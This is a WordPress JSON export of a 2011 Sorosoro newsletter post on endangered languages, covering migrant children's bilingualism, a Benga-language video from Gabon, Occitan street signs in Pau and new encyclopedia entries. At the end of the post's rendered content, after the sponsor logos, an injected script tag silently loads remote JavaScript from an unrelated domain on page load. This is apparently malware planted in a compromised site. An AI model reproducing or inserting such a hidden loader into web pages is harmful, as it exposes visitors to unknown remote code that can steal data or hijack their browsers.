{"id":48057,"date":"2011-05-19T05:42:20","date_gmt":"2011-05-19T03:42:20","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=48057"},"modified":"2025-10-21T22:47:41","modified_gmt":"2025-10-21T20:47:41","slug":"sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/","title":{"rendered":"Sorosoro &#8211; May 9, 2011<br><br> <i>Read<\/i>: multilingualism and integration of migrants&#8217; children<br> <i>See<\/i>: words of children, in the Benga language<br> and much more!"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">Anna Stevanato, founder of association <em>D\u2019une langue \u00e0 l\u2019autre<\/em>, takes part again in our blog, this time by discussing the crucial theme of <strong>integration<\/strong>. Through the assistance program named \u00ab an ambitious higher education: why not me? \u00bb, carried out among middle school and high school students from underprivileged neighbourhoods, she addresses the <strong>devaluation<\/strong> of non-european languages and the <strong>prejudices <\/strong>against them\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/recognising-bilingualism-of-migrant-children-an-asset-to-integration\">See blog<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">New videos<\/h5>\n<p style=\"text-align: justify;\">After a few weeks spent in Mesopotamia, we&#8217;re back in Africa, and to be more specific in <strong>Gabon<\/strong>. This week, we meet with the <strong>village kids from Cap Esterias<\/strong> and listen to how they talk about themselves in their mother-tongue, the <strong>Benga <\/strong>language.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/a-word-from-the-kids-in-the-benga-language\">See video<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">News<\/h5>\n<p style=\"text-align: justify;\"><strong>Occitan language<\/strong> is now used in the <strong>street signs of Pau<\/strong> (France) ! Such an initiative is not in itself innovative or isolated, but nonetheless it still sparks debate\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/april-2011-occitan-language-now-used-in-the-street-signs-of-pau-france\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Vigo<\/strong>\u2019s <em><strong>Verbum \u2013 Casas das palabras<\/strong><\/em> museum, in Spain (<strong>Galicia<\/strong>), has opened a new exhibition called \u00ab <strong>Vigo, Babel city<\/strong> \u00bb which places great emphasis on the world\u2019s languages in general, and on <strong>Galician <\/strong>in particular.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/may-june-2011%C2%A0-%C2%AB%C2%A0vigo-babel%C2%A0city%C2%BB-new-exhibition-at-verbum-casas-das-palabras-museum-in-vigo-galicia-spain\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>May 16, 2011<\/strong>: in Paris, a <strong>conference <\/strong>entitled \u201c<strong>Recognizing the bilingualism of migrants\u2019 children: an asset for integration?<\/strong>\u201d, organized by Anna Stevanato, this week\u2019s contributor to <a href=\"http:\/\/blog.sorosoro.org\/en\/recognising-bilingualism-of-migrant-children-an-asset-to-integration\">our blog<\/a>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/may-16-2011-conference-entitled-recognizing-the-bilingualism-of-migrants-children-an-asset-for-integration-paris\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><em>Reminder for this week:<\/em><\/p>\n<p style=\"text-align: justify;\">May 9-14, 2011: <strong>Endangered Languages Week<\/strong> <strong>2011 <\/strong>at the <strong>SOAS<\/strong>, London.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/may-9-14-2011-endangered-languages-week-2011-at-the-soas-london\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\">Our \u00ab Language Encyclopaedia \u00bb is home to <strong>3 new language description sheets<\/strong>:<\/p>\n<p style=\"text-align: justify;\">&#8211; one language from Australia: <strong><a href=\"https:\/\/www.sorosoro.org\/en\/gumbaynggir\">Gumbaynggir<\/a><\/strong><\/p>\n<p style=\"text-align: justify;\">&#8211; Two Tupi-Guarani languages from the Bolivian rainforest: <strong><a href=\"https:\/\/www.sorosoro.org\/en\/siriono\">Siriono<\/a> <\/strong>and <strong><a href=\"https:\/\/www.sorosoro.org\/en\/yuki\">Yuki<\/a>.<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong><br \/>\n<\/strong><\/p>\n<h5 style=\"text-align: justify;\">And as always\u2026<\/h5>\n<p style=\"text-align: justify;\">The <a href=\"https:\/\/www.sorosoro.org\/en\/to-speak\">word of the fortnight<\/a> is awaiting your numerous translations : \u00ab <strong>To speak<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>A beautiful week to all of you!<\/strong><\/p>\n<p style=\"text-align: justify;\">The Sorosoro Team<\/p>\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blog Anna Stevanato, founder of association D\u2019une langue \u00e0 l\u2019autre, takes part again in our blog, this time by discussing the crucial theme of integration. Through the assistance program named \u00ab an ambitious higher education: why not me? \u00bb, carried out among middle school and high school students from underprivileged neighbourhoods, she addresses the devaluation [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-48057","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro - May 9, 2011 Read: multilingualism and integration of migrants&#039; children See: words of children, in the Benga language and much more! - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro - May 9, 2011 Read: multilingualism and integration of migrants&#039; children See: words of children, in the Benga language and much more! - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Blog Anna Stevanato, founder of association D\u2019une langue \u00e0 l\u2019autre, takes part again in our blog, this time by discussing the crucial theme of integration. Through the assistance program named \u00ab an ambitious higher education: why not me? \u00bb, carried out among middle school and high school students from underprivileged neighbourhoods, she addresses the devaluation [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-05-19T03:42:20+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:47:41+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro &#8211; May 9, 2011 Read: multilingualism and integration of migrants&#8217; children See: words of children, in the Benga language and much more!\",\"datePublished\":\"2011-05-19T03:42:20+00:00\",\"dateModified\":\"2025-10-21T20:47:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/\"},\"wordCount\":301,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/\",\"name\":\"Sorosoro - May 9, 2011 Read: multilingualism and integration of migrants' children See: words of children, in the Benga language and much more! - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-05-19T03:42:20+00:00\",\"dateModified\":\"2025-10-21T20:47:41+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro &#8211; May 9, 2011 Read: multilingualism and integration of migrants&rsquo; children See: words of children, in the Benga language and much more!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro - May 9, 2011 Read: multilingualism and integration of migrants' children See: words of children, in the Benga language and much more! - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro - May 9, 2011 Read: multilingualism and integration of migrants' children See: words of children, in the Benga language and much more! - Sorosoro","og_description":"Blog Anna Stevanato, founder of association D\u2019une langue \u00e0 l\u2019autre, takes part again in our blog, this time by discussing the crucial theme of integration. Through the assistance program named \u00ab an ambitious higher education: why not me? \u00bb, carried out among middle school and high school students from underprivileged neighbourhoods, she addresses the devaluation [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/","og_site_name":"Sorosoro","article_published_time":"2011-05-19T03:42:20+00:00","article_modified_time":"2025-10-21T20:47:41+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro &#8211; May 9, 2011 Read: multilingualism and integration of migrants&#8217; children See: words of children, in the Benga language and much more!","datePublished":"2011-05-19T03:42:20+00:00","dateModified":"2025-10-21T20:47:41+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/"},"wordCount":301,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/","name":"Sorosoro - May 9, 2011 Read: multilingualism and integration of migrants' children See: words of children, in the Benga language and much more! - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-05-19T03:42:20+00:00","dateModified":"2025-10-21T20:47:41+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-9-2011-read-multilingualism-and-integration-of-migrants-children-see-words-of-children-in-the-benga-language-and-much-more\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro &#8211; May 9, 2011 Read: multilingualism and integration of migrants&rsquo; children See: words of children, in the Benga language and much more!"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/48057","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=48057"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/48057\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=48057"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=48057"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=48057"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}